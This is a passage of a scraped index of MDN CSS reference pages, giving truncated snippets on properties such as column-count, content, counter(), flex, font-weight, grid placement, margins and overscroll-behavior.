t accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. large text is defined as 18.66px and bold or larger, or 24px or larger. webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuevaries from one browser to anotherapplies toall elements. it also applies to ::first-letter and ::first-line.inheritedyescomputed valueif the value is translucent, the computed value will be the rgba() corresponding one. if it isn't, it will be the rgb() corresponding one. the transparent keyword maps to rgba(0,0,0,0).animation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> ...
column-count - CSS: Cascading Style Sheets
bunch of text split into three columns using the css `column-count` property. the text is equally distributed over the columns. </p> css .content-box { column-count: 3; } result specifications specification status comment css multi-column layout modulethe definition of 'column-count' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolumn-countchrome ...
content - CSS: Cascading Style Sheets
Web › CSS › content
en-quote | close-quote these values are replaced by the appropriate string from the quotes property. no-open-quote | no-close-quote introduces no content, but increments (decrements) the level of nesting for quotes. accessibility concerns css-generated content is not included in the dom. because of this, it will not be represented in the accessibility tree and certain assistive technology/browser combinations will not announce it. if the content conveys information that is critical to understanding the page's purpose, it is better to include it in the main document. accessibility support for css generated content – tink explanation of wcag, guideline 1.3 – mdn understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valuenormalapplies to::...
counter() - CSS: Cascading Style Sheets
Web › CSS › counter
/ counter(countername, upper-roman) a counter has no visible effect by itself. the counter() function (and counters() function) is what makes it useful by returning developer defined strings (or images). note: the counter() function can be used with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse. check the browser compatibility table carefully before using this in production. syntax values <custom-ident> a name identifying the counter, which is the same case-sensitive name used for the counter-reset and counter-increment. the name cannot start with two dashes and can't be none, unset, initial, or inherit. <counter-style> a counter style name or symbols() function, where a counter style name is ...
counters() - CSS: Cascading Style Sheets
Web › CSS › counters
lay */ counters(countername, '.', upper-roman) a counter has no visible effect by itself. the counters() function (and counter() function) is what makes it useful by returning developer defined content. note: the counters() function can be used with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse. check the browser compatibility table carefully before using this in production. syntax values <custom-ident> a name identifying the counters, which is the same case-sensitive name used for the counter-reset and counter-increment. the name cannot start with two dashes and can't be none, unset, initial, or inherit. <counter-style> a counter style name or symbols() function, where a counter style name is...
<custom-ident> - CSS: Cascading Style Sheets
ds the global css values (unset, initial, and inherit), as well as none. counter-reset counter-increment forbids the global css values (unset, initial, and inherit), as well as none. @counter-style list-style-type forbids the global css values (unset, initial, and inherit), as well as the values none, inline, and outside. ...
<display-inside> - CSS: Cascading Style Sheets
evel box. flex the element behaves like a block element and lays out its content according to the flexbox model. grid the element behaves like a block element and lays out its content according to the grid model. ruby the element behaves like an inline element and lays out its content according to the ruby formatting model. it behaves like the corresponding html <ruby> elements. note: browsers that support the two value syntax, on finding the inner value only, such as when display: flex or display: grid is specified, will set their outer value to block. this will result in expected behavior; for example if you specify an element to be display: grid, you would expect that the box created on the grid container would be a block level box. examples in this example the parent box has ...
<display-listitem> - CSS: Cascading Style Sheets
ties (for example a bullet point) together with a principal box of the specified type for its own contents. syntax a single value of list-item will cause the element to behave like a list item. this can be used together with list-style-type and list-style-position. list-item can also be combined with any <display-outside> keyword and the flow or flow-root <display-inside> keywords. note: in browsers that support the two-value syntax, if no inner value is specified it will default to flow. if no outer value is specified, the principal box will have an outer display type of block. examples html <div class="fake-list">i will display as a list item</div> css .fake-list { display: list-item; list-style-position: inside; } result specifications specification statu...
<display-outside> - CSS: Cascading Style Sheets
e run-in box becomes the first inline box of the block box that follows it. run-in elements act like inlines or blocks, depending on the surrounding elements. that is: if the run-in box contains a block box, same as block. if a block box follows the run-in box, the run-in box becomes the first inline box of the block box. if an inline box follows, the run-in box becomes a block box. note: browsers that support the two value syntax, on finding the outer value only, such as when display: block or display: inline is specified, will set the inner value to flow. this will result in expected behavior; for example if you specify an element to be block, you would expect that the children of that element would participate in block and inline normal flow layout. examples in the following examp...
empty-cells - CSS: Cascading Style Sheets
<tr> <td>curly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td, th { border: 1px solid gray; padding: 0.5rem; } result specifications specification status comment css level 2 (revision 1)the definition of 'empty-cells' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetempty-cellschrome ...
opacity() - CSS: Cascading Style Sheets
in the input image. its result is a <filter-function>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: this function is similar to the more established opacity property. the difference is that with filters, some browsers provide hardware acceleration for better performance. syntax opacity(amount) parameters amount the amount of the conversion, specified as a <number> or a <percentage>. a value of 0% is completely transparent, while a value of 100% leaves the input unchanged. values between 0% and 100% are linear multipliers on the effect. the lacuna value for interpolation is 1. examples opacity(0%)...
flex-direction - CSS: Cascading Style Sheets
t — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> </div> <h4>this is a row-reverse</h4> <div id="content1"> <div class="box1" style="background-color:red;">a</div> <div class="box1" style="background-color...
flex - CSS: Cascading Style Sheets
Web › CSS › flex
<flex-shrink>. a valid value for width for <flex-basis>. values initial the item is sized according to its width and height properties. it shrinks to its minimum size to fit the container, but does not grow to absorb any extra free space in the flex container. this is equivalent to setting "flex: 0 1 auto". auto the item is sized according to its width and height properties, but grows to absorb any extra free space in the flex container, and shrinks to its minimum size to fit the container. this is equivalent to setting "flex: 1 1 auto". none the item is sized according to its width and height properties. it is fully inflexible: it neither shrinks nor grows in relation to the flex container. this is equivalent to setting "flex: 0 0 auto". <'flex-grow'> defines the flex-gro...
<flex> - CSS: Cascading Style Sheets
syntax the <flex> data type is specified as a <number> followed by the unit fr. the fr unit represents a fraction of the leftover space in the grid container. as with all css dimensions, there is no space between the unit and the number. ...
font-kerning - CSS: Cascading Style Sheets
l request. kerning defines how letters are spaced. in well-kerned fonts, this feature makes character spacing more uniform and pleasant to read than it would otherwise be. in the image below, for instance, the examples on the left do not use kerning, while the ones on the right do: syntax the font-kerning property is specified as one of the keyword values listed below. values auto the browser determines whether font kerning should be used or not. for example, some browsers will disable kerning on small fonts, since applying it could harm the readability of text. normal font kerning information stored in the font must be applied. none font kerning information stored in the font is disabled. formal definition initial valueautoapplies toall elements. it also applies to ::first-l...
font-variant-position - CSS: Cascading Style Sheets
</p> css p { display: inline; } .normal { font-variant-position: normal; } .super { font-variant-position: super; } .sub { font-variant-position: sub; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-position' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variant-positionchr...
font-variant - CSS: Cascading Style Sheets
ule level 3the definition of 'font-variant' in that specification. candidate recommendation made it a shorthand of the new font-variant-* properties. css level 2 (revision 1)the definition of 'font-variant' in that specification. recommendation no change css level 1the definition of 'font-variant' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variantchrome ...
font-variation-settings - CSS: Cascading Style Sheets
et variable font features where no other way to enable or access those features exist. you should only use it when no basic properties exist to set those features (e.g. font-weight, font-style). font characteristics set using font-variation-settings will always override those set using the corresponding basic font properties, e.g. font-weight, no matter where they appear in the cascade. in some browsers, this is currently only true when the @font-face declaration includes a font-weight range. registered and custom axes variable font axes come in two types: registered and custom. registered axes are the most commonly encountered — common enough that the authors of the specification felt they were worth standardizing. note that this doesn't mean that the author has to include all of these ...
font-weight - CSS: Cascading Style Sheets
to one of the numbers in common weight name mapping. however some fonts, called variable fonts, can support a range of weights with a more or less fine granularity, and this can give the designer a much closer degree of control over the chosen weight. for truetype or opentype variable fonts, the "wght" variation is used to implement varying widths. for the example below to work, you'll need a browser that supports the css fonts level 4 syntax in which font-weight can be any number between 1 and 1000. html <header> <input type="range" id="weight" name="weight" min="1" max="1000" /> <label for="weight">weight</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine liza...
font - CSS: Cascading Style Sheets
Web › CSS › font
tem font used for captioned controls (e.g., buttons, drop-downs, etc.). icon the system font used to label icons. menu the system font used in menus (e.g., dropdown menus and menu lists). message-box the system font used in dialog boxes. small-caption the system font used for labeling small controls. status-bar the system font used in window status bars. prefixed system font keywords browsers often implement several more, prefixed, keywords: gecko implements -moz-window, -moz-document, -moz-desktop, -moz-info, -moz-dialog, -moz-button, -moz-pull-down-menu, -moz-list, and -moz-field. formal definition initial valueas each of the properties of the shorthand:font-style: normalfont-variant: normalfont-weight: normalfont-stretch: normalfont-size: mediumline-height: normalfont-family:...
gap (grid-gap) - CSS: Cascading Style Sheets
Web › CSS › gap
the gap css property sets the gaps (gutters) between rows and columns. it is a shorthand for row-gap and column-gap. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. css grid layout initially defined the grid-gap property. this prefixed property is being replaced by gap. however, in order to support browsers that implemented grid-gap and not gap for grid, you will need to use the prefixed property as in the interactive example above. syntax /* one <length> value */ gap: 20px; gap: 1em; gap: 3vmin; gap: 0.5cm; /* one <percentage> value */ gap: 16%; gap: 100%; /* two <length> values */ gap: 20px 10px; gap: 1em 0.
grid-auto-flow - CSS: Cascading Style Sheets
o-flow: column; grid-auto-flow: dense; grid-auto-flow: row dense; grid-auto-flow: column dense; /* global values */ grid-auto-flow: inherit; grid-auto-flow: initial; grid-auto-flow: unset; this property may take one of two forms: a single keyword: one of row, column, or dense. two keywords: row dense or column dense. values row items are placed by filling each row in turn, adding new rows as necessary. if neither row nor column is provided, row is assumed. column items are placed by filling each column in turn, adding new columns as necessary. dense "dense" packing algorithm attempts to fill in holes earlier in the grid, if smaller items come up later. this may cause items to appear out-of-order, when doing so would fill in holes left by larger items. if it is omitted, a "s...
grid-column-end - CSS: Cascading Style Sheets
<integer> && <custom-ident>? ...
grid-column-start - CSS: Cascading Style Sheets
nteger> && <custom-ident>? ...
grid-column - CSS: Cascading Style Sheets
candidate recommendation initial definition ...
grid-row-end - CSS: Cascading Style Sheets
[ <integer> && <custom-ident>? ...
grid-row-start - CSS: Cascading Style Sheets
<integer> && <custom-ident>? ...
grid-row - CSS: Cascading Style Sheets
Web › CSS › grid-row
candidate recommendation initial definition ...
grid-template-columns - CSS: Cascading Style Sheets
( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> ) represents a repeated fragment of the track list, allowing a large number of columns that exhibit a recurring pattern to be written in a more compact form. subgrid the subgrid value indicates that the grid will adopt the spanned portion of its parent grid in that axis. rather than being specified explicitly, the sizes of the grid rows/columns will be taken from the parent grid’s definition. the subgrid value is from level 2 of the grid specification and currently only has implementation in firefox 71 and onwards. formal definition initial valuenoneapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, but with relative lengths converted into absolut...
height - CSS: Cascading Style Sheets
Web › CSS › height
x-height properties override height. syntax /* keyword value */ height: auto; /* <length> values */ height: 120px; height: 10em; /* <percentage> value */ height: 75%; /* global values */ height: inherit; height: initial; height: unset; values <length> defines the height as an absolute value. <percentage> defines the height as a percentage of the containing block's height. auto the browser will calculate and select a height for the specified element. max-content the intrinsic preferred height. min-content the intrinsic minimum height. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, )). accessibility concerns ensure that elements set with a height are not trun...
image-rendering - CSS: Cascading Style Sheets
lity of and to what degree. crisp-edges the image must be scaled with an algorithm that preserves contrast and edges in the image, and which does not smooth colors or introduce blur to the image in the process. suitable algorithms include nearest-neighbor and other non-smoothing scaling algorithms such as 2×sai and hqx-family algorithms. this value is intended for pixel-art images, such as in browser games. pixelated when scaling the image up, the nearest-neighbor algorithm must be used, so that the image appears to be composed of large pixels. when scaling down, this is the same as auto. note: the values optimizequality and optimizespeed present in an early draft (and coming from its svg counterpart image-rendering) are defined as synonyms for the smooth and pixelated values respectiv...
ime-mode - CSS: Cascading Style Sheets
Web › CSS › ime-mode
the ime-mode css property controls the state of the input method editor (ime) for text fields. this property is obsolete. /* keyword values */ ime-mode: auto; ime-mode: normal; ime-mode: active; ime-mode: inactive; ime-mode: disabled; /* global values */ ime-mode: inherit; ime-mode: initial; ime-mode: unset; the ime-mode property is only partially and inconsistently implemented in browsers. it was introduced by microsoft with internet explorer 5 as a proprietary extension: -ms-ime-mode attribute | imemode property. note: in general, it's not appropriate for a public web site to change the ime mode. this property should only be used for private web applications or to undo the property if it was previously set by legacy code. syntax the ime-mode property is specified using one of the...
initial - CSS: Cascading Style Sheets
Web › CSS › initial
lor: initial; } result specifications specification status comment css cascading and inheritance level 4the definition of 'initial' in that specification. candidate recommendation no changes from level 3. css cascading and inheritance level 3the definition of 'initial' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitialchrome ...
Initial value - CSS: Cascading Style Sheets
for inherited properties, the initial value is used on the root element only, as long as no specified value is supplied. for non-inherited properties, the initial value is used on all elements, as long as no specified value is supplied. you can explicitly specify the initial value by using the initial keyword. note: the initial value should not be confused with the value specified by the browser's style sheet. specifications specification status comment css cascade 4 formal definition. css level 2 (revision 1)the definition of 'initial value' in that specification. recommendation implicit definition. ...
justify-content - CSS: Cascading Style Sheets
the interactive example below demonstrates some of the values using grid layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the alignment is done after the lengths and auto margins are applied, meaning that, if in a flexbox layout there is at least one flexible element, with flex-grow different from 0, it will have no effect as there won't be any available space. ...
justify-items - CSS: Cascading Style Sheets
t width, and align in the center of their cells. ...
justify-self - CSS: Cascading Style Sheets
t width, and align in different positions across their cells. ...
<length> - CSS: Cascading Style Sheets
Web › CSS › length
e used advance measure of the "水" (cjk water ideograph, u+6c34) glyph found in the font used to render it. lh equal to the computed value of the line-height property of the element on which it is used, converted to an absolute length. rem represents the font-size of the root element (typically <html>). when used within the root element font-size, it represents its initial value (a common browser default is 16px, but user-defined preferences may modify this). rlh equal to the computed value of the line-height property on the root element (typically <html>), converted to an absolute length. when used on the font-size or line-height properties of the root element, it refers to the properties' initial value. viewport-percentage lengths viewport-percentage lengths define the <length>...
letter-spacing - CSS: Cascading Style Sheets
level 2 (revision 1)the definition of 'letter-spacing' in that specification. recommendation no change. scalable vector graphics (svg) 1.1 (second edition)the definition of 'letter-spacing' in that specification. recommendation initial svg definition. css level 1the definition of 'letter-spacing' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetletter-spacingchrome ...
line-height - CSS: Cascading Style Sheets
element's font size */ line-height: 3.5; /* <length> values */ line-height: 3em; /* <percentage> values */ line-height: 34%; /* global values */ line-height: inherit; line-height: initial; line-height: unset; the line-height property is specified as any one of the following: a <number> a <length> a <percentage> the keyword normal. values normal depends on the user agent. desktop browsers (including firefox) use a default value of roughly 1.2, depending on the element's font-family. <number> (unitless) the used value is this unitless <number> multiplied by the element's own font size. the computed value is the same as the specified <number>. in most cases, this is the preferred way to set line-height and avoid unexpected results due to inheritance. <length> the specified <l...
list-style-position - CSS: Cascading Style Sheets
ive-examples and send us a pull request. it is often more convenient to use the shorthand list-style. note: this property is applied to list items, i.e., elements with display: list-item;. by default this includes <li> elements. because this property is inherited, it can be set on the parent element (normally <ol> or <ul>) to let it apply to all list items. note that there is variance among browsers regarding behavior when a block element is placed first within a list element declared as list-style-position: inside. chrome and safari both place this element on the same line as the marker box, whereas firefox, internet explorer, and opera place it on the next line. for more information on this, see bug 36854. syntax /* keyword values */ list-style-position: inside; list-style-position: o...
margin-bottom - CSS: Cascading Style Sheets
values */ margin-bottom: inherit; margin-bottom: initial; margin-bottom: unset; the margin-bottom property is specified as the keyword auto, or a <length>, or a <percentage>. its value can be positive, zero, or negative. values <length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the browser selects a suitable value to use. see margin. formal definition initial value0applies toall elements, except elements with table display types other than table-caption, table and inline-table. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length ...
margin-top - CSS: Cascading Style Sheets
; /* global values */ margin-top: inherit; margin-top: initial; margin-top: unset; the margin-top property is specified as the keyword auto, or a <length>, or a <percentage>. its value can be positive, zero, or negative. values <length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the browser selects a suitable value to use. see margin. formal definition initial value0applies toall elements, except elements with table display types other than table-caption, table and inline-table. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length ...
mask-border-mode - CSS: Cascading Style Sheets
a values of the mask border image are used as the mask values. formal definition initial valuealphaapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax luminance | alpha examples basic usage this property doesn't yet seem to have support anywhere. when browsers support it, it will specify the type of blending mode used for the mask border — luminance or alpha: mask-border-mode: luminance; mask-border-mode: alpha; specifications specification status comment css masking module level 1the definition of 'mask-border-mode' in that specification. candidate recommendation initial definition ...
mask-border-outset - CSS: Cascading Style Sheets
mal syntax [ <length> | <number> ]{1,4} examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually starts to be supported, it will serve to move the mask away from the inner edge of the element's border box — you can use it to make the mask start from part way across the border, rather than the inside of it. mask-border-outset: 1rem; chromium-based browsers support an outdated version of this property — mask-box-image-outset — with a prefix: -webkit-mask-box-image-outset: 1rem; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect. specifications specification status comment css masking module l...
mask-border-repeat - CSS: Cascading Style Sheets
peat | round | space ]{1,2} examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually starts to be supported, it will serve to define how the border mask slice will repeat around the border — i.e. will it just repeat, or be scaled slightly so a whole number of slices fits, or be stretched so one slice fits? mask-border-repeat: round; chromium-based browsers support an outdated version of this property — mask-box-image-repeat — with a prefix: -webkit-mask-box-image-repeat: round; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect. specifications specification status comment css masking module ...
mask-border-slice - CSS: Cascading Style Sheets
tion typediscrete formal syntax <number-percentage>{1,4} fill?where <number-percentage> = <number> | <percentage> examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually starts to be supported, it will serve to define the size of the slices taken from the source image, and used to create the border mask. mask-border-slice: 30 fill; chromium-based browsers support an outdated version of this property — mask-box-image-slice — with a prefix: -webkit-mask-box-image-slice: 30 fill; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect. note: the fill keyword needs to be included if you want the element's content to be visible...
mask-border-source - CSS: Cascading Style Sheets
int> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually starts to be supported, it will serve to define the source of the border mask. mask-border-source: url(image.jpg); chromium-based browsers support an outdated version of this property — mask-box-image-source — with a prefix: -webkit-mask-box-image-source: url(image.jpg); note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect. specifications specification status comment css maskin...
mask-border-width - CSS: Cascading Style Sheets
{1,4}where <length-percentage> = <length> | <percentage> examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually starts to be supported, it will serve to define the width of the border mask — setting this to a different value to mask-border-slice will cause the slices to be scaled to fit the border mask. mask-border-width: 30 fill; chromium-based browsers support an outdated version of this property — mask-box-image-width — with a prefix: -webkit-mask-box-image-width: 20px; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect. specifications specification status comment css masking module lev...
max-block-size - CSS: Cascading Style Sheets
lock-size: fit-content(20em); /* global values */ max-block-size: inherit; max-block-size: initial; max-block-size: unset; values the max-block-size property's value can be any value that's legal for the max-width and max-height properties: <length> defines the max-width as an absolute value. <percentage> defines the max-width as a percentage of the containing block's width. auto the browser will calculate and select a max-width for the specified element. none no limit on the size of the box. max-content the intrinsic preferred max-width. min-content the intrinsic minimum max-width. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, argument)). how writing-mode a...
max() - CSS: Cascading Style Sheets
Web › CSS › max
iteral values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>), or nested min() and max() functions. you can use different units for each value in your expression. you may also use parentheses to establish computation order when needed. notes math expressions involving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified. it is permitted to nest min() and other max() functions as expression values. the expressions are full math expressions, so you can use direct addition, subtraction, multiplication and division without using the calc() function itself. the expression can be values combining the ...
min-height - CSS: Cascading Style Sheets
5em; /* <percentage> value */ min-height: 10%; /* keyword values */ min-height: max-content; min-height: min-content; min-height: fit-content(20em); /* global values */ min-height: inherit; min-height: initial; min-height: unset; values <length> defines the min-height as an absolute value. <percentage> defines the min-height as a percentage of the containing block's height. auto the browser will calculate and select a min-height for the specified element. none no limit on the size of the box. max-content the intrinsic preferred min-height. min-content the intrinsic minimum min-height. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, argument)). formal definiti...
min() - CSS: Cascading Style Sheets
Web › CSS › min
arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>). you can use different units for each value in your expression, if you wish. you may also use parentheses to establish computation order when needed. notes math expressions involving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified. it is permitted to nest max() and other min() functions as expression values. the expressions are full math expressions, so you can use direct addition, subtraction, multiplication and division without using the calc() function itself. the expression can be values combining the ...
mix-blend-mode - CSS: Cascading Style Sheets
ue"/> </g> </svg> css circle { mix-blend-mode: screen; } .isolate { isolation: isolate; } /* without isolation, the background color will be taken into account */ result specifications specification status comment compositing and blending level 1the definition of 'mix-blend-mode' in that specification. candidate recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmix-blend-modechrome ...
object-fit - CSS: Cascading Style Sheets
e { object-fit: none; } .scale-down { object-fit: scale-down; } result specifications specification status comment css images module level 4the definition of 'object-fit' in that specification. working draft css images module level 3the definition of 'object-fit' in that specification. candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-fitchrome ...
object-position - CSS: Cascading Style Sheets
x. the second image is positioned with its right edge flush against the right edge of the element's box and is located 10% of the way down the height of the element's box. result specifications specification status comment css images module level 3the definition of 'object-position' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-positionchrome ...
orphans - CSS: Cascading Style Sheets
Web › CSS › orphans
ations specification status comment css fragmentation module level 3the definition of 'orphans' in that specification. candidate recommendation extends orphans to apply to any type of fragment, including pages, regions, or columns. css level 2 (revision 1)the definition of 'orphans' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorphanschrome ...
outline-offset - CSS: Cascading Style Sheets
allia est omnis divisa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px; background: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoutline-offsetchrome ...
outline-width - CSS: Cascading Style Sheets
tline-width: thin; outline-width: medium; outline-width: thick; /* <length> values */ outline-width: 1px; outline-width: 0.1em; /* global values */ outline-width: inherit; the outline-width property is specified as any one of the values listed below. values <length> the width of the outline specified as a <length>. thin depends on the user agent. typically equivalent to 1px in desktop browsers (including firefox). medium depends on the user agent. typically equivalent to 3px in desktop browsers (including firefox). thick depends on the user agent. typically equivalent to 5px in desktop browsers (including firefox). formal definition initial valuemediumapplies toall elementsinheritednocomputed valuean absolute length; if the keyword none is specified, the computed value is 0an...
overflow-anchor - CSS: Cascading Style Sheets
therefore, changing the value of this property is typically only required if you are experiencing problems with scroll anchoring in a document or part of a document and need to turn the behavior off. syntax /* keyword values */ overflow-anchor: auto; overflow-anchor: none; /* global values */ overflow-anchor: inherit; overflow-anchor: initial; overflow-anchor: unset; values auto the element becomes a potential anchor when adjusting scroll position. ...
overflow-wrap - CSS: Cascading Style Sheets
the overflow-wrap css property applies to inline elements, setting whether the browser should insert line breaks within an otherwise unbreakable string to prevent text from overflowing its line box. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: in contrast to word-break, overflow-wrap will only create a break if an entire word cannot be placed on its own line without overflowing. the property was originally a nonstandard and unprefixed microsoft extension called word-wrap, and was implemented by most browsers with the same name. it has since been renamed to overflow-wrap, with word-wrap being an alias. s...
overscroll-behavior-block - CSS: Cascading Style Sheets
see overscroll-behavior for a full explanation. /* keyword values */ overscroll-behavior-block: auto; /* default */ overscroll-behavior-block: contain; overscroll-behavior-block: none; /* global values */ overscroll-behavior-block: inherit; overscroll-behavior-block: initial; overscroll-behavior-block: unset; syntax the overscroll-behavior-block property is specified as a keyword chosen from the list of values below. values auto the default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. ...
overscroll-behavior-inline - CSS: Cascading Style Sheets
see overscroll-behavior for a full explanation. /* keyword values */ overscroll-behavior-inline: auto; /* default */ overscroll-behavior-inline: contain; overscroll-behavior-inline: none; /* global values */ overscroll-behavior-inline: inherit; overscroll-behavior-inline: initial; overscroll-behavior-inline: unset; syntax the overscroll-behavior-inline property is specified as a keyword chosen from the list of values below. values auto the default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. ...
overscroll-behavior-x - CSS: Cascading Style Sheets
see overscroll-behavior for a full explanation. /* keyword values */ overscroll-behavior-x: auto; /* default */ overscroll-behavior-x: contain; overscroll-behavior-x: none; /* global values */ overscroll-behavior-x: inherit; overscroll-behavior-x: initial; overscroll-behavior-x: unset; syntax the overscroll-behavior-x property is specified as a keyword chosen from the list of values below. values auto the default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. ...
overscroll-behavior-y - CSS: Cascading Style Sheets
see overscroll-behavior for a full explanation. /* keyword values */ overscroll-behavior-y: auto; /* default */ overscroll-behavior-y: contain; overscroll-behavior-y: none; /* global values */ overscroll-behavior-y: inherit; overscroll-behavior-y: initial; overscroll-behavior-y: unset; initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax the overscroll-behavior-y property is specified as a keyword chosen from the list of values below. ...
page-break-inside - CSS: Cascading Style Sheets
